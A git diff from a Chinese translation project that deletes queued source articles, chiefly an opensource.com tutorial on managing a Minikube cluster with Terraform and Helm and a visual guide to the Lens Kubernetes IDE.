[LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://puri.sm/ -[2]: https://itsfoss.com/purism-librem-mini/ -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/librem-14.jpg?ssl=1 -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/Hardware-Kill-Switches-librem.jpg?ssl=1 -[5]: https://itsfoss.com/get-linux-laptops/ -[6]: https://itsfoss.com/pureos-convergence/ -[7]: http://repo.pureos.net/pureos/pool/main/ -[8]: https://puri.sm/posts/purism-launches-librem-14-successor-to-security-focused-librem-13-product-line/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/librem-14-1.png?ssl=1 -[10]: https://puri.sm/posts/anti-interdiction-services/ -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/librem14-monitors-1-cropped.png?ssl=1 -[12]: https://puri.sm/products/librem-14/ diff --git a/sources/tech/20200706 A guide to Terraform for Kubernetes beginners.md b/sources/tech/20200706 A guide to Terraform for Kubernetes beginners.md deleted file mode 100644 index 06635ff097..0000000000 --- a/sources/tech/20200706 A guide to Terraform for Kubernetes beginners.md +++ /dev/null @@ -1,735 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A guide to Terraform for Kubernetes beginners) -[#]: via: (https://opensource.com/article/20/7/terraform-kubernetes) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -A guide to Terraform for Kubernetes beginners -====== -Learn how to make a Minikube cluster and deploy to it with Terraform. -![A person programming][1] - -When I build infrastructure, I do it as code. The movement toward [infrastructure as code][2] means that every change is visible, whether it's through configuration management files or full-blown [GitOps][3]. - -[Terraform][4] is a tool for building, upgrading, and maintaining your infrastructure as code. As its [GitHub page][5] explains: - -> "Terraform enables you to safely and predictably create, change, and improve infrastructure. It is an open source tool that codifies APIs into declarative configuration files that can be shared amongst team members, treated as code, edited, reviewed, and versioned." - -The best part is you can import your existing infrastructure into a Terraform configuration state, and all future changes will be tracked. That tracking provides a complete understanding of your production environment (and any other environments), which can be backed up to a local or remote Git repository to version-control the entire infrastructure. - -In this article, I will explain how to use Terraform to manage state in a Minikube Kubernetes cluster. - -### Prerequisites - -Terraform is cloud-agnostic, so you can run about any type of Kubernetes cluster in any cloud by using the associated providers. A [provider][6] is the core of Terraform's plugin architecture, and each provider is "responsible for understanding API interactions and exposing resources" so that the main Terraform project can remain lean, but the project can expand to any system. - -In this example, I'll use [Terraform 11][7] on a Linux desktop. To follow along, you will also need [Helm 2.16.7][8], [Minikube][9], and [kubectl][10]: - - * Download and configure Minikube by following this [documentation][11]. - * Download and configure Helm [using your package manager][12] or do it manually from the [releases][13]. - * Download and install kubectl by following [these steps][10]. - * Install Terraform by downloading the [Linux .tar file][14], untar the file, and move it to `/usr/local/bin/terraform`. - - - -Before running a build, find out what the command-line utility offers. Run `terraform`, and the output will show the execution plan and apply commands. At the bottom, there is an upgrade checklist that will come in handy if you are on an older version of Terraform. The developers have built in a great command to check compatibility between versions. - -### Getting started - -To build something in Terraform, you need to create [modules][15], which are folders with a set of configuration files that can gather information and execute the action you need to complete. Terraform files always end in the file extension `.tf`. Start with one `main.tf` file, such as: - - -``` -`jess@Athena:~/terraform_doc$ touch main.tf` -``` - -You also need to know some basic Terraform commands and requirements before you can start making anything within the cluster: - - * `terraform init`: Initializes a Terraform working directory -– It must be within the same directory as the `.tf` files or nothing will happen. - * `terraform validate`: Confirms the Terraform file's syntax is correct -– Always run this to confirm the code is built correctly and will not have errors. - * `terraform plan`: Generates and shows what will change when you run `terraform apply` -– Run this before `apply` to confirm the results are as you intend. - * `terraform apply`: Builds or changes infrastructure -– It will show the execution plan and requires a yes or no to execute unless you use the `--auto-approve` flag, which will make it execute automatically. - * `Terraform refresh`: Updates the local state file against real resources -– This ensures Terraform has an accurate view of what is in the current environment. - * `terraform destroy`: Deletes and removes Terraform-managed infrastructure -– This will permanently remove anything created and stored in the state file from the cluster. - - - -For the configuration in this example, everything controlled by Terraform is held in a local state file. According to Terraform's [docs][16]: - -> "This state is stored by default in a local file named `terraform.tfstate`, but it can also be stored remotely, which works better in a team environment. Terraform uses this local state to create plans and make changes to your infrastructure. Prior to any operation, Terraform does a refresh to update the state with the real infrastructure." - -Now that you have this background information, you can move on and edit your `main.tf` file, check your cluster, and work towards adding configurations with Terraform. - -### Prep and build Minikube - -Before getting started with Terraform, you must create a Minikube cluster. This example uses Minikube version v1.9.2. Run `minikube start`: - - -``` -jess@Athena:~/terraform_doc$ minikube start -🎉  minikube 1.11.0 is available! Download it: -💡  To disable this notice, run: 'minikube config set WantUpdateNotification false' - -🙄  minikube v1.9.2 on Ubuntu 18.04 -✨  Using the kvm2 driver based on existing profile -👍  Starting control plane node m01 in cluster minikube -🔄  Restarting existing kvm2 VM for "minikube" ... -🐳  Preparing Kubernetes v1.18.0 on Docker 19.03.8 ... -🌟  Enabling addons: default-storageclass, storage-provisioner -🏄  Done! kubectl is now configured to use "minikube" -``` - -### Check your new cluster and add a namespace - -Check your new Minikube cluster with your trusty `kubectl` commands: - - -``` -jess@Athena:~/terraform_doc$ kubectl get nodes -NAME    STATUS   ROLES  AGE     VERSION -minikube   Ready        master   4m5s   v1.18.0 -``` - -The cluster is up and running, so add configurations to your `main.tf` file. First, you'll need a [provider][6], which "is responsible for understanding API interactions and exposing resources." The provider in this example will be (aptly) named [Kubernetes][17]. Edit your `main.tf` file and add the provider: - - -``` -provider "kubernetes" { -  config_context_cluster   = "minikube" -} -``` - -This syntax tells Terraform that the cluster is running in Minikube. - -Now you will need a definition of a resource block. A resource block describes one or more infrastructure objects, such as virtual networks, compute instances, or higher-level components such as DNS records. - -Add one Kubernetes namespace to the cluster: - - -``` -resource "kubernetes_namespace" "1-minikube-namespace" { -  metadata { -        name = "my-first-terraform-namespace" -  } -} -``` - -Next, run the `terraform init` command to check your provider version and initialize Terraform: - - -``` -jess@Athena:~/terraform_doc$ terraform init - -Initializing provider plugins... - -The following providers do not have any version constraints in configuration, -so the latest version was installed. - -To prevent automatic upgrades to new major versions that may contain breaking -changes, it is recommended to add version = "..." constraints to the -corresponding provider blocks in configuration, with the constraint strings -suggested below. - -* provider.kubernetes: version = "~> 1.11" - -Terraform has been successfully initialized! - -You may now begin working with Terraform. Try running "terraform plan" to see -any changes that are required for your infrastructure. All Terraform commands -should now work. - -If you ever set or change modules or backend configuration for Terraform, -rerun this command to reinitialize your working directory. If you forget, other -commands will detect it and remind you to do so if necessary. -``` - -Run your plan to see what will be executed: - - -``` -jess@Athena:~/terraform_doc$ terraform plan -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -\------------------------------------------------------------------------ - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - -Terraform will perform the following actions: - -  + kubernetes_namespace.1-minikube-namespace -        id:                            <computed> -        metadata.#:                     "1" -        metadata.0.generation:         <computed> -        metadata.0.name:               "my-first-terraform-namespace" -        metadata.0.resource_version: <computed> -        metadata.0.self_link:          <computed> -        metadata.0.uid:                <computed> - -Plan: 1 to add, 0 to change, 0 to destroy. - -\------------------------------------------------------------------------ - -Note: You didn't specify an "-out" parameter to save this plan, so Terraform -can't guarantee that exactly these actions will be performed if -"terraform apply" is subsequently run. -``` - -Now that you know what Terraform will do, apply your configuration: - - -``` -jess@Athena:~/terraform_doc$ terraform apply - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - -Terraform will perform the following actions: - -  + kubernetes_namespace.1-minikube-namespace -        id:                            <computed> -        metadata.#:                     "1" -        metadata.0.generation:         <computed> -        metadata.0.name:               "my-first-terraform-namespace" -        metadata.0.resource_version: <computed> -        metadata.0.self_link:          <computed> -        metadata.0.uid:                <computed> - -Plan: 1 to add, 0 to change, 0 to destroy. - -Do you want to perform these actions? -  Terraform will perform the actions described above. -  Only 'yes' will be accepted to approve. - -  Enter a value: yes - -\----------------------------------- - -kubernetes_namespace.1-minikube-namespace: Creating... -  metadata.#:                   "" => "1" -  metadata.0.generation:       "" => "<computed>" -  metadata.0.name:             "" => "my-first-terraform-namespace" -  metadata.0.resource_version: "" => "<computed>" -  metadata.0.self_link:        "" => "<computed>" -  metadata.0.uid:              "" => "<computed>" -kubernetes_namespace.1-minikube-namespace: Creation complete after 0s (ID: my-first-terraform-namespace) - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. -``` - -Finally, confirm that your new namespace exists by running `kubectl get ns`: - - -``` -jess@Athena:~/terraform_doc$ kubectl get ns -NAME                            STATUS   AGE -default                         Active   28d -kube-node-lease                 Active   28d -kube-public                     Active   28d -kube-system                     Active   28d -my-first-terraform-namespace   Active   2m19s -``` - -### Run it through a Helm chart - -The ability to manually write a Terraform configuration file, run it, and see results in Kubernetes is nice. What's even nicer? Being able to rerun the same commands through a Helm chart. - -Run the `helm create ` command to generate a chart: - - -``` -$ helm create buildachart -Creating buildachart -``` - -You need another provider block for this exercise. There is a specific Helm provider, and it requires a Kubernetes cluster name so that Helm knows where to install its chart. Add the new provider, which is shown below, to your existing `main.tf` file: - - -``` -provider "helm" { -  kubernetes { -        config_context_cluster   = "minikube" -        -  } -} -``` - -Now that Helm is configured, you need to add a Helm chart for this terraform module to install. To keep things simple, keep the Helm chart in the same folder you're using for your Terraform state: - - -``` -jess@Athena:~/terraform_doc$ ls -buildachart  main.tf  terraform.tfstate -``` - -Add the new Helm resource so that the chart can be installed and tracked through your Terraform state by using the `helm_release` resource. I named this resource `local` and imported my chart name and my chart location: - - -``` -resource "helm_release" "local" { -  name          = "buildachart" -  chart         = "./buildachart" -} -``` - -Now that you've added these pieces, run Terraform's initialization command again. It will update the state based on your changes, including downloading a new provider: - - -``` -jess@Athena:~/terraform_doc$ terraform init - -Initializing provider plugins... -\- Checking for available provider plugins on ... -\- Downloading plugin for provider "helm" (1.2.2)... - -The following providers do not have any version constraints in configuration, -so the latest version was installed. - -To prevent automatic upgrades to new major versions that may contain breaking -changes, it is recommended to add version = "..." constraints to the -corresponding provider blocks in configuration, with the constraint strings -suggested below. - -* provider.helm: version = "~> 1.2" -* provider.kubernetes: version = "~> 1.11" - -Terraform has been successfully initialized! - -You may now begin working with Terraform. Try running "terraform plan" to see -any changes that are required for your infrastructure. All Terraform commands -should now work. - -If you ever set or change modules or backend configuration for Terraform, -rerun this command to reinitialize your working directory. If you forget, other -commands will detect it and remind you to do so if necessary. -``` - -Then plan your new configurations: - - -``` -jess@Athena:~/terraform_doc$ terraform plan -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) - -\------------------------------------------------------------------------ - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -  + create - -Terraform will perform the following actions: - -  + helm_release.local -        id:                             <computed> -        atomic:                         "false" -        chart:                          "./buildachart" -        cleanup_on_fail:                "false" -        create_namespace:               "false" -        dependency_update:              "false" -        disable_crd_hooks:              "false" -        disable_openapi_validation: "false" -        disable_webhooks:               "false" -        force_update:                   "false" -        lint:                           "false" -        max_history:                    "0" -        metadata.#:                     <computed> -        name:                           "buildachart" -        namespace:                      "default" -        recreate_pods:                  "false" -        render_subchart_notes:          "true" -        replace:                        "false" -        reset_values:                   "false" -        reuse_values:                   "false" -        skip_crds:                      "false" -        status:                         "deployed" -        timeout:                        "300" -        verify:                         "false" -        version:                        "0.1.0" -        wait:                           "true" - -Plan: 1 to add, 0 to change, 0 to destroy. - -\------------------------------------------------------------------------ - -Note: You didn't specify an "-out" parameter to save this plan, so Terraform -can't guarantee that exactly these actions will be performed if -"terraform apply" is subsequently run. -``` - -Apply your configuration, only this time add the `--auto-approve` flag so it will execute without confirmation: - - -``` -jess@Athena:~/terraform_doc$ terraform apply --auto-approve -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) -helm_release.local: Creating... -  atomic:                      "" => "false" -  chart:                       "" => "./buildachart" -  cleanup_on_fail:             "" => "false" -  create_namespace:            "" => "false" -  dependency_update:           "" => "false" -  disable_crd_hooks:           "" => "false" -  disable_openapi_validation: "" => "false" -  disable_webhooks:            "" => "false" -  force_update:                "" => "false" -  lint:                        "" => "false" -  max_history:                 "" => "0" -  metadata.#:                   "" => "<computed>" -  name:                        "" => "buildachart" -  namespace:                   "" => "default" -  recreate_pods:               "" => "false" -  render_subchart_notes:       "" => "true" -  replace:                     "" => "false" -  reset_values:                "" => "false" -  reuse_values:                "" => "false" -  skip_crds:                   "" => "false" -  status:                      "" => "deployed" -  timeout:                     "" => "300" -  verify:                      "" => "false" -  version:                     "" => "0.1.0" -  wait:                        "" => "true" -helm_release.local: Creation complete after 8s (ID: buildachart) - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. -``` - -Although it says the chart deployed, it's always nice to double-check and confirm that the new Helm chart is in place. Check to see if your pod made it by using a `kubectl` command: - - -``` -jess@Athena:~/terraform_doc$ kubectl get pods -NAME                            READY   STATUS  RESTARTS   AGE -buildachart-68c86ccf5f-lchc5   1/1      Running   0             43s -``` - -This confirms your pod is running, which means your chart deployed! You also have a new backup state file: - - -``` -jess@Athena:~/terraform_doc$ ls -buildachart  main.tf  terraform.tfstate  terraform.tfstate.backup -``` - -Terraform is protective of state, which is a great feature. It automatically generates a previous-state file after each update. This allows version control of your infrastructure, and you can always save the current and most recent state. Since this is a local build, stick with the current and previous states without version control. - -### Rollback a change and import something - -As you run Terraform commands, the backup state file is generated and updated, which means you can roll back previous changes exactly once unless you are holding state files in storage somewhere else (e.g., a database) with other configurations to manage the files. - -In this example, you need to roll back your Helm chart deployment. Why? Well, because you can. - -Before you do anything, take a minute to run the `terraform refresh` command to see if there is anything different between the cluster and the current state: - - -``` -jess@Athena:~/terraform_doc$ terraform refresh -helm_release.local: Refreshing state... (ID: buildachart) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) -``` - -There is a weird workaround to roll back changes: You can overwrite your state file with the backup file, or you can comment the code changes you rolled out through Terraform files and allow Terraform to destroy them. - -In this example, I'll comment-out code and rerun Terraform, so the Helm chart will be deleted. Comments begin with `//` in Terraform files: - - -``` -jess@Athena:~/terraform_doc$ cat main.tf -provider "kubernetes" { -  config_context_cluster   = "minikube" -} - -resource "kubernetes_namespace" "1-minikube-namespace" { -  metadata { -        name = "my-first-terraform-namespace" -  } -} - -//provider "helm" { -//  kubernetes { -//      config_context_cluster   = "minikube" -//  } -//} -//resource "helm_release" "local" { -//  name        = "buildachart" -//  chart       = "./buildachart" -//} -``` - -After you comment everything out, run `terraform apply`: - - -``` -jess@Athena:~/terraform_doc$ terraform apply -helm_release.local: Refreshing state... (ID: buildachart) -null_resource.minikube: Refreshing state... (ID: 4797320155365789412) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-terraform-namespace) - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - -  - helm_release.local - -Plan: 0 to add, 0 to change, 1 to destroy. - -Do you want to perform these actions? -  Terraform will perform the actions described above. -  Only 'yes' will be accepted to approve. - -  Enter a value: yes - -helm_release.local: Destroying... (ID: buildachart) -helm_release.local: Destruction complete after 0s - -Apply complete! Resources: 0 added, 0 changed, 1 destroyed. -``` - -To see what overwriting the file looks like, reapply the Helm chart and overwrite the state file. Here is a snippet of the chart being recreated (this text output can be pretty long): - - -``` -helm_release.local: Still creating... (10s elapsed) -helm_release.local: Creation complete after 15s (ID: buildachart) - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -Here’s the file overwrite and the plan showing that the helm chart needs to be rerun. -jess@Athena:~/terraform_doc$ cp terraform.tfstate.backup terraform.tfstate -jess@Athena:~/terraform_doc$ terraform plan -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -null_resource.minikube: Refreshing state... (ID: 4797320155365789412) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-terraform-namespace) - -\------------------------------------------------------------------------ - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - -Terraform will perform the following actions: - -  + helm_release.local -        id:                            <computed> -        atomic:                        "false" -        chart:                         "./buildachart" -        cleanup_on_fail:               "false" -        create_namespace:              "false" -        dependency_update:             "false" -        disable_crd_hooks:             "false" -        disable_openapi_validation: "false" -        disable_webhooks:              "false" -        force_update:                  "false" -        max_history:                   "0" -        metadata.#:                     <computed> -        name:                          "buildachart" -        namespace:                     "default" -        recreate_pods:                 "false" -        render_subchart_notes:         "true" -        replace:                       "false" -        reset_values:                  "false" -        reuse_values:                  "false" -        skip_crds:                     "false" -        status:                        "deployed" -        timeout:                       "300" -        verify:                        "false" -        version:                       "0.1.0" -        wait:                          "true" - -Plan: 1 to add, 0 to change, 0 to destroy. - -\------------------------------------------------------------------------ - -Note: You didn't specify an "-out" parameter to save this plan, so Terraform -can't guarantee that exactly these actions will be performed if -"terraform apply" is subsequently run. -``` - -Be aware that you will run into a problem if you do not clean up the environment when overwriting your state files. That problem shows up in the name usage: - - -``` -Do you want to perform these actions? -  Terraform will perform the actions described above. -  Only 'yes' will be accepted to approve. - -  Enter a value: yes - -helm_release.local: Creating... -  atomic:                      "" => "false" -  chart:                       "" => "./buildachart" -  cleanup_on_fail:             "" => "false" -  create_namespace:            "" => "false" -  dependency_update:           "" => "false" -  disable_crd_hooks:           "" => "false" -  disable_openapi_validation: "" => "false" -  disable_webhooks:            "" => "false" -  force_update:                "" => "false" -  max_history:                 "" => "0" -  metadata.#:                   "" => "<computed>" -  name:                        "" => "buildachart" -  namespace:                   "" => "default" -  recreate_pods:               "" => "false" -  render_subchart_notes:       "" => "true" -  replace:                     "" => "false" -  reset_values:                "" => "false" -  reuse_values:                "" => "false" -  skip_crds:                   "" => "false" -  status:                      "" => "deployed" -  timeout:                     "" => "300" -  verify:                      "" => "false" -  version:                     "" => "0.1.0" -  wait:                        "" => "true" - -Error: Error applying plan: - -1 error occurred: -    * helm_release.local: 1 error occurred: -    * helm_release.local: cannot re-use a name that is still in use - -Terraform does not automatically rollback in the face of errors. -Instead, your Terraform state file has been partially updated with -any resources that successfully completed. Please address the error -above and apply again to incrementally change your infrastructure. -``` - -This creates a reuse issue due to commenting out and bringing back a resource. To fix this, do a state import, which allows you to take something that is already out in the environment and let Terraform start to track it again. - -For this, you need the namespace and chart name you want to import along with the module name you are importing. The module in this case is `helm.local`, and it is generated from your resource code in the resource that begins with `"helm_release" "local"`. - -For the reimport, you will need the namespace where the resource is currently deployed, so the import will look like `default/buildachart`. This format is required for anything involving a namespace: - - -``` -jess@Athena:~/terraform_doc$ terraform import helm_release.local default/buildachart -helm_release.local: Importing from ID "default/buildachart"... -helm_release.local: Import complete! -  Imported helm_release (ID: buildachart) -helm_release.local: Refreshing state... (ID: buildachart) - -Import successful! - -The resources that were imported are shown above. These resources are now in -your Terraform state and will henceforth be managed by Terraform. -``` - -This process of reimporting can be tricky, but it's important for state management. - -### Clean up - -What's so nice about Terraform is that you can quickly clean up after yourself when you're testing. The `follow` command is another great way to ruin your day if you aren't careful about where you run it: - - -``` -jess@Athena:~/terraform_doc$ terraform destroy -helm_release.local: Refreshing state... (ID: buildachart) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - -  - helm_release.local -  - kubernetes_namespace.1-minikube-namespace - -Plan: 0 to add, 0 to change, 2 to destroy. - -Do you really want to destroy all resources? -  Terraform will destroy all your managed infrastructure, as shown above. -  There is no undo. Only 'yes' will be accepted to confirm. - -  Enter a value: yes - -helm_release.local: Destroying... (ID: buildachart) -kubernetes_namespace.1-minikube-namespace: Destroying... (ID: my-first-terraform-namespace) -helm_release.local: Destruction complete after 1s -kubernetes_namespace.1-minikube-namespace: Destruction complete after 7s - -Destroy complete! Resources: 2 destroyed. -``` - -One run of `terraform destroy` removed your pods and namespace, but your cluster remains. You are back to square one: - - -``` -jess@Athena:~/terraform_doc$ kubectl get pods -No resources found in default namespace. - -jess@Athena:~/terraform_doc$ kubectl get ns -NAME            STATUS   AGE -default         Active   28d -kube-node-lease   Active   28d -kube-public     Active   28d -kube-system     Active   28d - -jess@Athena:~/terraform_doc$ minikube status -m01 -host: Running -kubelet: Running -apiserver: Running -kubeconfig: Configured -``` - -### Final notes - -To say you can make anything with Terraform is an understatement. It's a tool that can manage every aspect of environment creation and destruction. It has a powerful and simple concept of state management that can allow teams to stay in sync with the organization's intended infrastructure. - -However, if you are not careful, this tool can be rather unforgiving. If you are moving state files and not paying attention, you can cause a bit of an issue with what Terraform believes it needs to manage. When you are using this tool, be careful not to overextend yourself or write too much at once, as you can code yourself into a corner if you aren't paying attention. - -Terraform is best when it's used for infrastructure provisioning. It minimizes what problems happen when managing state, and allows tools designed for configuration and deployment to complement its features. - -What have you done with Terraform and Kubernetes? Share your experience in the comments below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/terraform-kubernetes - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_keyboard_laptop_development_code_woman.png?itok=vbYz6jjb (A person programming) -[2]: https://opensource.com/article/19/7/infrastructure-code -[3]: https://thenewstack.io/what-is-gitops-and-why-it-might-be-the-next-big-thing-for-devops/ -[4]: https://www.terraform.io/ -[5]: https://github.com/hashicorp/terraform -[6]: https://www.terraform.io/docs/providers/index.html -[7]: https://releases.hashicorp.com/terraform/0.11.14/ -[8]: https://github.com/helm/helm/releases/tag/v2.16.7 -[9]: https://opensource.com/article/18/10/getting-started-minikube -[10]: https://kubernetes.io/docs/tasks/tools/install-kubectl/ -[11]: https://kubernetes.io/docs/tasks/tools/install-minikube/ -[12]: https://github.com/helm/helm#install -[13]: https://github.com/helm/helm/releases -[14]: https://releases.hashicorp.com/terraform/ -[15]: https://www.terraform.io/docs/configuration/modules.html -[16]: https://www.terraform.io/docs/state/index.html -[17]: https://registry.terraform.io/providers/hashicorp/kubernetes diff --git a/sources/tech/20200708 A visual guide to Lens- A new way to see Kubernetes.md b/sources/tech/20200708 A visual guide to Lens- A new way to see Kubernetes.md deleted file mode 100644 index 6802f641f3..0000000000 --- a/sources/tech/20200708 A visual guide to Lens- A new way to see Kubernetes.md +++ /dev/null @@ -1,246 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A visual guide to Lens: A new way to see Kubernetes) -[#]: via: (https://opensource.com/article/20/7/kubernetes-lens) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -A visual guide to Lens: A new way to see Kubernetes -====== -Navigate advanced Kubernetes administration without the command line -with Lens, the "Kubernetes IDE." -![Cat wearing glasses][1] - -There are many [Kubernetes][2] administration tools to choose from, whether you prefer a command-line utility or a graphical user interface. I recently covered [k9s][3], a text-based interface that many day-to-day Kubernetes administrators enjoy, but you have to navigate through many Kubernetes-specific terms to use it. A lot of people who use Kubernetes less often would rather have a colorful, clean visual guide. This is where [Lens][4], an open source integrated development environment (IDE) tool for administering Kubernetes clusters, comes in. - -### Install Lens - -You can download Lens for Linux, macOS, or Windows from either its [GitHub][5] page or its [website][4]. Linux installs are offered through AppImage, and [this tutorial][6] walks you through the installation process. After installation, Lens appeared in my applications list (the blue box with the L in the center). - -![Lens app icon][7] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -### Add a cluster - -Managing Kubernetes means keeping an eye on one or more clusters. To add a cluster to Lens, click the large **+** sign, choose your cluster from the drop-down list, and click **Add Cluster**. Environments are automatically picked up from your `~/.kube/config` file. - -![Adding a cluster in Lens][9] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -### Explore Lens' menus - -Lens gives you all the information you need about a cluster it manages. To help you get started, I'll explore the Lens menu sections with screenshots to show you what information and options they offer. - -If you need a refresher on Kubernetes terminology, [_A beginner's guide to Kubernetes container orchestration_][10] is a good place to read about it. - -#### Nodes menu - -First, look at the **Nodes**. A node can be a virtual machine or physical (bare metal) machine depending on the cluster. Each node contains the services necessary to run Pods, managed by the control plane. We can start by checking if our nodes are up and running in a Ready state. If there were an issue, this page would provide details as to what is wrong with the node. - -![Lens Nodes menu][11] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Workloads menu - -The **Workloads** section provides a lot of information about your cluster. You can access its subsections with either the menu on the left or at the top of the pane—both work the same way. - -##### Overview - -Click **Overview** to see the events happening in the cluster, as well as how many Pods, Deployments, StatefulSets, DaemonSets, Jobs, and CronJobs are running in it. You can select each Overview item to see details about it. - -![Lens Workloads Overview menu][12] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -##### Pods - -Click **Pods** to see a list of the pods in the cluster. - -![Lens Workloads Pods menu][13] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -Click on a pod name in the **Pods** section of **Workloads**, and it will bring up a details pane on the right with a ton of things you can do really quickly. - -![Lens Workloads Pod details][14] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -Open the pod's logs by clicking on the multi-line button (the second icon from the left) on the top-right of the pod detail window. - -![Lens Workloads Pod logs][15] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -If you need to shell into a pod, Lens has a terminal built into it. Access it by clicking the terminal button (the left-most icon) above the pod detail. - -![Shelling into a pod in Lens][16] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -A terminal will open. - -![Shelling into a pod in Lens][17] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -##### Deployments - -**Deployments** shows what Deployments are in the cluster. - -![Lens Workloads Deployments menu][18] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Configuration menu - -**Configuration** shows ConfigMaps, Secrets, Resource Quotas, and Horizontal Pod Autoscalers (HPA). - -![Lens ConfigMaps menu][19] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Network menu - -**Network** includes options for managing your network services, endpoints, ingresses, and network policies. - -##### Network Services - -![Lens Network Services menu][20] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -If you see a pencil icon (like the one in the top-right corner above), clicking it will open a terminal window where you can edit the configurations. - -![Editing configurations in Lens][21] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Storage menu - -Storage options, including PersistentVolumes and StorageClasses, are also navigable. - -![Lens StorageClasses menu][22] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Namespaces menu - -**Namespaces** shows a list of your namespaces. - -![Lens Namespaces menu][23] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Apps menu - -Lens' crown jewel is its one-click (OK, more like three-click) process for installing apps with [Helm charts][24]. I would suggest using this only on your local cluster, but it's still a nice add-on in Lens. - -To install a chart, click **Apps** in the left navigation and click **Charts**. A list of all the charts available through Helm (and its stable repository) appears. - -![Helm charts in Lens' Apps menu][25] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -You can also find a chart using **Search**. Click on the chart you want, and a window will open on the right with a large **Install** button. - -![Searching for Helm charts in Lens' Apps menu][26] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -Click **Install** and a terminal will open at the bottom with another **Install** button in the lower-right. Click it. - -![Installing a Helm chart in Lens][27] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -It installs the Helm chart and tells you when it's finished. - -![Installing a Helm chart in Lens][28] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -You can double-check that the Helm chart is installed in your cluster by looking in the **Pods** section under **Workloads**. - -![Confirming Helm chart in Lens][29] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -The Helm install takes under a minute and, because Lens has an edit function in each detail window, you can manually configure the apps you install. In my opinion, this is the only downfall of this function—I prefer to use my own values because it's hard to track manual changes. Why do I consider this a problem? If you're working with a repo with versioned helm charts and need to run a manual change without checking in the changed values, you quickly run into code drift. - -#### Access Control menu - -The **Access Control** section includes Service Accounts, Roles, Role Bindings, and Pod Security Policies, so you can visualize and edit the security you have in place (as you can see in the following screenshots). Service Accounts are the equivalent of Linux user accounts, but they are intended for processes running in a cluster. Running applications are attached to Roles, which have Role Bindings to the cluster to allow pods to access certain administrative permissions. Pod Security Policies are a more glandular level of security for the pods to have access to resources like certain volume types or to set seccomp profiles used by containers.  - -##### Service Accounts - -![Lens Access Control Service Accounts menu][30] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -##### Role Bindings - -![Lens Access Control RoleBindings menu][31] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -##### Roles - -![Lens Access Control Roles menu][32] - -(Jess Cherry, [CC BY-SA 4.0][8]) - -#### Final notes - -Lens is a beautiful and powerful alternative to managing Kubernetes from the command line. There are some times when you'll want to use the command line, mostly due to the drawbacks of manually editing charts before launching them or for tracking environmental changes. If you have good log-keeping practices in your cluster, this may not be a problem. If you are a visual person, Lens is a great way to explore your Kubernetes cluster and handle 95% of your administrative tasks. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/kubernetes-lens - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] 